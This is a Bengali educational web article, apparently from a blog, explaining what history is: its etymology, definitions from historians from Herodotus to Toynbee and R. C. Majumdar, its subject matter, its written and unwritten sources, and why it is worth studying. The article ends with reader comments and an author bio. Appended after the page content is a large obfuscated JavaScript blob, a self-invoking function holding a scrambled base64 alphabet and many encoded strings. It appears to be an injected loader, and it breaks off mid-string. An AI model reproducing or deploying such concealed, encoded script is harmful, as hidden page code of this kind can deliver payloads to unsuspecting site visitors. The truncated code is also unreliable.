০৯:৪৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

ইতিহাস কাকে বলে? ইতিহাসের বিষয়বস্তু, উপাদান এবং ইতিহাস পাঠের প্রয়োজনীয়তা কী?

  • আহমেদ মিন্টো
  • ১২:২৮:৪৯ অপরাহ্ন, রবিবার, ২৬ সেপ্টেম্বর ২০২১
  • ৮৮৪০৪ বার পড়া হয়েছে

খ্রিস্টিয় অষ্টাদশ শতাব্দী পর্যন্ত হেরোডোটাস ও থুসিডাইডিসের অনুসরণেই ইতিহাস লিখিত হতে থাকে

ইতিহাস পাঠ করার আগে আমাদের প্রত্যেকেরই জানা প্রয়োজন ইতিহাস কী, ইতিহাসের প্রকৃতি কীরূপ; আবার পাঠ্য বিষয় হিসেবে ইতিহাসের ভূমিকা কী। পাশাপাশি কোনো নির্দিষ্ট কালের এবং নির্দিষ্ট দেশের ইতিহাস জানার সাথে সমসাময়িক প্রাকৃতিক অবস্থা এবং পরিবেশ সম্পর্কেও ধারণা নেওয়া প্রয়োজন। এই নিবন্ধে ইতিহাসের সংজ্ঞা, বিষয়বস্তু, উপাদান এবং প্রয়োজনীয়তা নিয়ে সংক্ষিপ্ত আলোচনা করা হলো।

ইতিহাস কী?

ইতিহাস এবং history শব্দের উৎপত্তি

‘ইতিহাস’ শব্দটির উৎপত্তি ‘ইতিহ’ শব্দ থেকে। ইতিহাস শব্দটির সন্ধি বিচ্ছেদ করলে এর রূপ দাঁড়ায়, ইতিহ + আস। যার অর্থ এমনই ছিল বা এরূপ ঘটেছিল। এখানে ‘ইতিহ’ অর্থ ‘ঐতিহ্য’। অতীতের অভ্যাস, শিক্ষা, ভাষা, শিল্প, সাহিত্য-সংস্কৃতি যা ভবিষ্যতের জন্য সংরক্ষিত থাকে তাকে ঐতিহ্য বলা হয়। এই ঐতিহ্যকে এক প্রজন্ম থেকে আরেকপ্রজন্মের কাছে পৌঁছে দেয় ইতিহাস।

আবার, ইংরেজি ‘history’ (হিস্ট্রি) শব্দেরই বাংলা অর্থ ইতিহাস। শব্দটির উৎপত্তি গ্রিক শব্দ ‘historia’ থেকে। এর সাধারণ অর্থ হচ্ছে কোন কিছুর অনুসন্ধান বা গবেষণা। অতীতে যা কিছু ঘটেছে, আমরা সাধারণভাবে তাকেই ইতিহাস বলি।

ইতিহাসের সংজ্ঞা

সমাজ ও রাষ্ট্রে নিরন্তর বয়ে যাওয়া ঘটনা প্রবাহকে ইতিহাস বলা যায়। তবে ইতিহাস কী তা এক কথায় বলা কঠিন। বিভিন্ন পণ্ডিত ইতিহাস প্রসঙ্গে নিজেদের মতো করে বিভিন্ন মত দিয়েছেন। ইতিহাস নিয়ে সহজেই একটি নির্দিষ্ট সংজ্ঞায় পৌঁছা যায় না। তবে পণ্ডিতগণের দৃষ্টিভঙ্গী ও মতামত সমূহ বিশ্লেষণ করলে একটি সাধারণ সংজ্ঞা তৈরি করা সম্ভব। ঐতিহাসিকগণের বক্তব্যের আলোকে সংক্ষেপে বলা যায় যে, ‘অতীত উপাদানসমূহ বিশ্লেষণের মধ্য দিয়ে মানব সমাজের সমুদয় ঘটনার বিবরণকে ইতিহাস বলে’।

নিচে ইতিহাসের বিভিন্নধরনের সংজ্ঞা উল্লেখ করা হলো:

ইতিহাস সম্পর্কে পণ্ডিতগণের মতামত 

হেরোডটাস ও থুসিডাইডিসের মতে ইতিহাস

উপরে উল্লেখিত ‘Historia’ শব্দটি প্রথম ব্যবহার করেন গ্রিক ঐতিহাসিক হেরোডোটাস (প্রাচীন গ্রিক: Ἡρόδοτος, রোমানাইজড: Hēródotos, আত্তীয় উপভাষায় উচ্চারণ: [hɛːródotos])। ইতিহাসের জনক হেরোডোটাস। ইতিহাস বলতে হেরোডোটাস বোঝাতে চেয়েছেন যে, ‘অতীতের ঘটনাবলি অনুসন্ধান করে তা লেখা’। হেরোডোটাস গল্পবলার ঢংয়ে ইতিহাস লিখেছিলেন।

একই সময়ের গ্রিক ঐতিহাসিক থুসিডাইডিস একটু অন্যভাবে ইতিহাসের সংজ্ঞা নির্ধারণ করেছেন। থুসিডাইডিস বলেছেন, ‘অতীতের কাহিনী ও ঘটনা যথাযথভাবে লিপিবদ্ধ করাকেই ইতিহাস বলে’। থুসিডাইডিসের ইতিহাস রচনার ধারা ছিল বিজ্ঞান সম্মত। এ কারণে থুসিডাইডিসকে বৈজ্ঞানিক ইতিহাসের জনক বলা হয়। আবার থুসিডাইডিস মনে করতেন অতীতের বর্ণনা থেকে মানুষ শিক্ষা লাভ করবে। এ দৃষ্টিতে তাঁর ইতিহাস ছিল উপদেশমূলক। ফলে অনেকে থুসিডাইডিসকে উপদেশমূলক ইতিহাসের জনকও বলেছেন। 

খ্রিষ্টিয় অষ্টাদশ শতাব্দী পর্যন্ত হেরোডোটাস ও থুসিডাইডিসের অনুসরণেই ইতিহাস লিখিত হতে থাকে। 

বিজ্ঞানেরই শাখা ইতিহাস: রাঙ্কে, বাকল এবং অন্যান্যদের সংজ্ঞা

অষ্টাদশ শতাব্দী পর্যন্ত ইতিহাস রচনা ধারণার ক্ষেত্রে শুধু হেরোডোটাস ও থুসিডাইডিসকে অনুকরণ করা হতো ইতিহাসের সংজ্ঞা আবার নতুনভাবে তৈরি হতে থাকে ঊনবিংশ শতাব্দী থেকে। এসময়ের ঐতিহাসিকদের অনেকেই মনে করেন ইতিহাস বিজ্ঞানেরই শাখা। কারণ বিজ্ঞানের বিভিন্ন বিষয়ে সিদ্ধান্ত নিতে হলে যেমন পরীক্ষণাগারে প্রমাণ করতে হয়, ইতিহাস তৈরিতেও তেমনিভাবে প্রয়োজন প্রমাণের। কারণ অতীতের নানা উপাদান পরীক্ষা করে তবেই ঐতিহাসিককে সিদ্ধান্তে আসতে হয়। ইতহাস যে বিজ্ঞানেরই শাখা সে মতের প্রধান প্রবর্তক ছিলেন জার্মান ঐতিহাসিক লিওপোণ্ড ফন রাঙ্কে। লিওপোণ্ড ফন রাঙ্কে মনে করেন, কোনো মতামত নয় বরং ‘অতীতের ঘটনা হুবহু প্রকাশ করা হচ্ছে ঐতিহাসিকের দায়িত্ব’। এই ধারণা জনপ্রিয়তা লাভ করতে থাকে। এভাবে পুরনো ইতিহাস তথ্য সূত্রের আলোকে নতুন ভাবে লিখিত হতে থাকে। কিন্তু রাঙ্কের ইতিহাসের ধারণাকে গ্রহণ করতে পারেননি ইংরেজ ঐতিহাসিক হেনরি টমাস বাকল বা এইচ. টি. বাকল (Henry Thomas Buckle)। এইচ. টি. বাকল নতুন সংজ্ঞায় ইংল্যাণ্ডের সভ্যতার ইতিহাস লেখেন ১৮৫৭ খ্রিষ্টাব্দে। যদিও তিনি বিজ্ঞানসম্মত ইতিহাস লেখার পক্ষপাতি ছিলেন, তবুও রাঙ্কের চেয়ে তাঁর চিন্তা ছিল পৃথক। বাকল মনে করেন অতীতের ঘটনাবলী লিপিবদ্ধ করলেই তা ইতিহাস হয় না। তাঁর মতে এসব ঘটনা তথ্য প্রমাণের মাধ্যমে বিশ্লেষণের পথ ধরে যাচাই করে নিলে তবেই তা হবে ইতিহাস।

ইতিহাস প্রসঙ্গে র‍্যাপসন এবং হিল 

এভাবেই ইতিহাসের সংজ্ঞা নতুন ভাবে রচিত হতে থাকে। ঐতিহাসিক ই. জে. র‌্যাপসন (Edward James Rapson) বলেন, ‘ঘটনার ধারাবাহিক বিবরণ বিজ্ঞানসম্মতভাবে উপস্থাপন করাই হচ্ছে ইতিহাস’। এই ধারণাই আরও স্পষ্টভাবে প্রকাশ করেন ঐতিহাসিক ক্রিস্টোফার হিল (John Edward Christopher); তিনি বলেন, ‘প্রাচীন দলিলপত্র পরীক্ষা করে রচিত মানব সমাজের অতীত কাহিনিই হলো ইতিহাস’।

ইতিহাস সম্পর্কে কার, টয়েনবি, মজুমদার এবং জনসন যা বলেছেন

খ্যাতিমান ইতিহাসবিদ ই. এইচ. কার (Edward Hallett Carr) বলেছেন, ‘অতীতের সাথে বর্তমানের যোগসূত্র তৈরি করার বিদ্যাই হচ্ছে ইতিহাস’। ঐতিহাসিক ই. এইচ. কারের মতে, ইতিহাস হলো বর্তমান ও অতীতের মধ্যে এক অন্তহীন সংলাপ।

আর্নল্ড জোসেফ টয়েনবি (Arnold J. Toynbee) বলেছেন, ‘মানব সমাজের ঘটনা প্রবাহই ইতিহাস’। বিংশ শতাব্দীর শ্রেষ্ঠ ঐতিহাসিক হলেন আর্নল্ড টয়েনবি।

আর্নল্ড টয়েনবির বক্তব্যের সাথেই সুর মিলেছে ভারতীয় ইতিহাসবিদ ড. রমেশ চন্দ্র মজুমদারের। রমেশ চন্দ্র মজুমদার বলেছেন, ‘ইতিহাস হলো মানব সমাজের অতীত কার্যাবলীর বিবরণী’। ড. জনসন বলেছেন, ‘ঘটে যাওয়া ঘটনা হলো ইতিহাস’। তাঁর মতে, যা কিছু ঘটে তাই ইতিহাস। যা ঘটে না তা ইতিহাস নয়।

ইতিহাসের বিষয়বস্তু 

ইতিহাসের আলোচ্য বিষয় খুবই ব্যাপক। জীবন সৃষ্টির সূচনা থেকেই ইতিহাসের যাত্রা শুরু হয়েছে। ইতিহাসের সংজ্ঞা থেকে স্পষ্ট যে, অতীতের সব ঘটনার কাহিনিই ইতিহাস নয়। পরীক্ষা ও বিশ্লেষণের মাধ্যমে তাৎপর্যপূর্ণ ঘটনাসমূহই ইতিহাসে স্থান পায়। এই দৃষ্টিতে ইতিহাসের বিষয়বস্তু হিসেবে চিহ্নিত হয়েছে মানুষের জীবনধারা, সমাজ ও পরিবেশ; এক কথায় মানুষের সভ্যতা। 

ঐতিহাসিক যেমন ঘটে যাওয়া তাৎপর্যপূর্ণ ঘটনা বিশ্লেষণ করেন, তেমনিভাবে ঘটনার পেছনে থাকা প্রেক্ষাপট নিয়েও আলোচনা করেন। ইতিহাসের এই বিশ্লেষণ থেকেই প্রথম জানা সম্ভব হয় যে মানুষ জন্মগতভাবেই সংগ্রামী। বিরুদ্ধ পরিবেশের সাথে সংগ্রাম করে মানুষকে টিকে থাকতে হয়েছে। 

এভাবেই মানুষ নিজেকে উন্নত সভ্যতা সৃষ্টিকারী হিসেবে প্রতিপন্ন করেছে। সংগ্রামের পথে মানুষের জয়যাত্রা ও পরাজয়, সব কিছু ইতিহাস-আলোচনার বিষয়বস্তু। 

মানুষের এই জীবন ইতিহাসকে বিভিন্নভাবে আলোচনা করার সুযোগ ইতিহাসের বিষয়বস্তু হিসেবেই চিহ্নিত হয়।

আবার সামাজিক-সাংস্কৃতিক বিভিন্ন অবস্থা ও ঘটনাবলী বিশ্লেষণ করে রচিত হয় সামাজিক সাংস্কৃতিক ইতিহাস। এই সমুদয় বিষয়বস্তুর আলোকেই সামগ্রিকভাবে রচিত হয় মানুষের ইতিহাস।

ইতিহাসের উপাদান কী কী?

উপরের আলোচনাসমূহ থেকে বোঝা যাচ্ছে যে, অতীতের গুরুত্বপূর্ণ ঘটনাসমূহকে বিজ্ঞানসম্মতভাবে বিশ্লেষণের মাধ্যমে ইতিহাস রচনা করতে হয়। ইতিহাসের অন্তর্ভুক্ত বিষয়ও নানা রকমের। তবে অতীতের ছবি এভাবেই জানা যায় না। অতীতের মানুষের রেখে যাওয়া লেখনী ও নানা দ্রব্য সামগ্রী, স্থাপত্য, ভাস্কর্য, চিত্রকলা প্রভৃতির ভেতরেই লুকিয়ে থাকে ইতিহাস। তাই এ সমস্ত বস্তুকে বলা হয় ইতিহাসের উপাদান। এই উপাদানের উপর নির্ভর করেই লিখিত হয় ইতিহাস। সমকালের মানুষের লিখে যাওয়া বিবরণ ইতিহাসের গুরূত্বপূর্ণ উপাদান। কিন্তু সব সময় লিখিত উপাদান পাওয়া যায় না। 

মানুষ আদিকাল থেকে জীবন সংগ্রাম শুরু করলেও লিখতে শিখেছে অনেক পরে। আবার লিখতে জানলেও সকল অঞ্চলের মানুষ ইতিহাস সচেতন ছিল না। তাই ঘটনার বিবরণ সকলে লিখে যায়নি। ফলে ইতিহাস রচনায় অন্যসব উপাদনের উপর নির্ভর করতে হয়।

এসব বিচারে ইতিহাসের উপাদানসমূহকে দুই ভাগে বিভক্ত করা হয়: লিখিত উপাদান ও অলিখিত উপাদান। 

ইতিহাসের লিখিত উপাদান: সমকালিক সাহিত্য, ধর্মগ্রন্থ, পর্যটকদের বিবরণী, সরকারি দলিলপত্র, রাজ রাজার জীবনী প্রভৃতি লিখিত উপাদানের অন্তর্ভুক্ত।

ইতিহাসের অলিখিত উপাদান: অলিখিত উপাদান হিসেবে চিহ্নিত করা হয় ধর্মীয় ও সাধারণ স্থাপত্য অর্থাৎ ইমারতসমূহ, বিভিন্ন ভাস্কর্য বা মূর্তি, মুদ্রা, তাম্রলিপি, শিলালিপি, মানুষের ব্যবহার্য তৈজস পত্র, চিত্রকলা প্রভৃতি।

এভাবে লিখিত ও অলিখিত উপাদানসমূহ বিশ্লেষণ করেই রচনা করা হয়ে থাকে  ইতিহাস।

ইতিহাস পাঠের প্রয়োজনীয়তা

মানব সমাজের ক্রমবিকাশ জানা যায়

ইতিহাস পাঠের মধ্যে দিয়েই জানা যায় কীভাবে আদি মানব অসহায় অবস্থা থেকে ধীরে ধীরে সভ্য ও শক্তিশালী হয়ে উঠেছিল। সামাজিক, সাংস্কৃতিক, ধর্মীয়, অর্থনৈতিক ও রাজনৈতিক ক্ষেত্রে নিজের প্রতিভার স্বাক্ষর রেখেছিল। এভাবেই ইতিহাস পাঠের মধ্যে দিয়ে আমরা মানব সমাজের শুরু থেকে তার যাবতীয় কর্মকাণ্ড, চিন্তা-চেতনা ও জীবনযাত্রার অগ্রগতি সম্পর্কে জ্ঞান লাভ করতে পারি। বিভিন্ন অঞ্চলে মানুষের সভ্যতা কিভাবে পরিবর্তিত হচ্ছে, কিভাবে তার বিকাশ ঘটছে সবকিছুই জানা সম্ভব ইতিহাস পাঠের মাধ্যমে। ইতিহাস শুধু মানুষের অতীতকালের কর্মকাণ্ড উল্লেখ করে না, মানুষের অতীত কর্মকান্ডের পেছনের উদ্দেশ্যও খুঁজে বেড়ায়। মানুষের অতীত কীর্তির পেছনের উদ্দেশ্য খুঁজে বের করে। এভাবে, ইতিহাস পাঠের মধ্যে দিয়ে অতীতকালে মানুষের চিন্তাভাবনা কি ছিল সে সম্পর্কে  ধারণা লাভ করা যায়। 

জাতীয় ঐতিহ্য সম্পর্কে ধারণা পাওয়া যায়

একটি জাতির চেতনা জাগিয়ে তুলতে ইতিহাস পাঠ বিশেষ ভূমিকা রাখতে পারে। কোনো জাতির ঐতিহ্য ও গৌরবের ইতিহাস ঐ জাতিকে উৎসাহিত করে। ঐতিহ্য ও গৌরবের ইতিহাস থেকে একটি জাতির সঠিক পরিচয় পাওয়া যায়। এ ধরনের ইতিহাস পাঠের মধ্য দিয়ে জাতীয়তাবাদ গড়ে তোলা সহজ হয়। এ থেকেই সহজ হয় দেশপ্রেমিক নাগরিক গড়ে তোলা। একটি জাতির ঐতিহ্য ও সাংস্কৃতিক মূল্যকে যথাযথভাবে সংরক্ষণ করে ইতিহাস। তাই ইতিহাসজ্ঞান সমাজ ও জাতির অগ্রগতির লক্ষ্যে পৌঁছাতে সাহায্য করে। ইতিহাস পাঠ মানুষের জাতীয় চেতনাবোধকে জাগিয়ে তোলে। সে তার আত্মপরিচয়ের সন্ধান পায় ইতিহাসের পাতায়। 

বর্তমানকে বুঝা ও ভবিষ্যৎ গঠনে ইতিহাস পাঠের প্রয়োজনীয়তা

বর্তমানকে বুঝার জন্য এবং ভবিষ্যৎকে গঠন করার জন্য অতীতকে জানা খুবই প্রয়োজন। এ কারণেই অতীতের প্রতি মানুষের এত কৌতূহল।

ইংরেজ ঐতিহাসিক স্যার জন সিলি উল্লেখ করেছেন যে, কোনো দেশের ইতিহাস পাঠে সে দেশের অতীতকেই শুধু জানা যায় না তার ভবিষ্যৎ সম্পর্কেও ধারণা পাওয়া যায়। তিনি তাই ভবিষ্যৎ সৃষ্টি করার জন্যই ইতিহাস পড়া বেশি প্রয়োজনীয় বলে মনে করেছেন।

ইতিহাস পাঠ থেকে জানা যায় অতীতের মানুষ তাদের ভবিষ্যতের জন্য কী পরিকল্পনা গ্রহণ করেছিল, বর্তমানের সাথে ওই পরিকল্পনার তুলনা করা যায়। অতীতের মানুষ কীভাবে এই সব দায়িত্ব পালন করেছে- ইতিহাস পাঠে তা জানা যায় এবং এই জ্ঞান বর্তমান ও ভবিষ্যতের কাজে লাগানো যায়। এভাবে  ইতিহাস অতীত, বর্তমান ও ভবিষ্যতের মধ্যে যোগসূত্র সৃষ্টির সহায়ক হয়। 

মানুষের মনের দিগন্তকে প্রসারিত করে 

ইতিহাস পাঠ মানুষকে উদার করে এবং মনের দিগন্ত প্রসারিত করে। মানুষ বিভিন্ন জাতিতে বিভক্ত; বিচিত্র তাদের রীতিনীতি, আইনকানুন, আচার-ব্যবহার, পোশাক-পরিচ্ছদ এবং খাদ্য। এই বিভিন্নতার মধ্যেও মনের ভেতর থেকে মানুষের মধ্যে একটি ঐক্যের বন্ধন রয়েছে। ইতিহাস পাঠ মানুষের এই বোধটিকেই জাগিয়ে তোলে। এভাবে মানুষের মধ্যে আন্তর্জাতিক মৈত্রী প্রতিষ্ঠার পথ প্রসারি হয়।

2 thoughts on “ইতিহাস কাকে বলে? ইতিহাসের বিষয়বস্তু, উপাদান এবং ইতিহাস পাঠের প্রয়োজনীয়তা কী?”

  1. এই বিষয় টি পড়ে ইতিহাস সম্পর্কে অনেক কিছু জানতে পারলাম। ধন্যবাদ।

  2. ধন্যবাদ। ইতিহাস সম্পর্কে অনেক ভালো জ্ঞান লাভ করলাম এটা পড়ে।

মন্তব্য

লেখকতথ্য

আহমেদ মিন্টো

মিন্টো একজন ফ্রিল্যান্স লেখক এবং বিশ্লেষণ'র কন্ট্রিবিউটর।
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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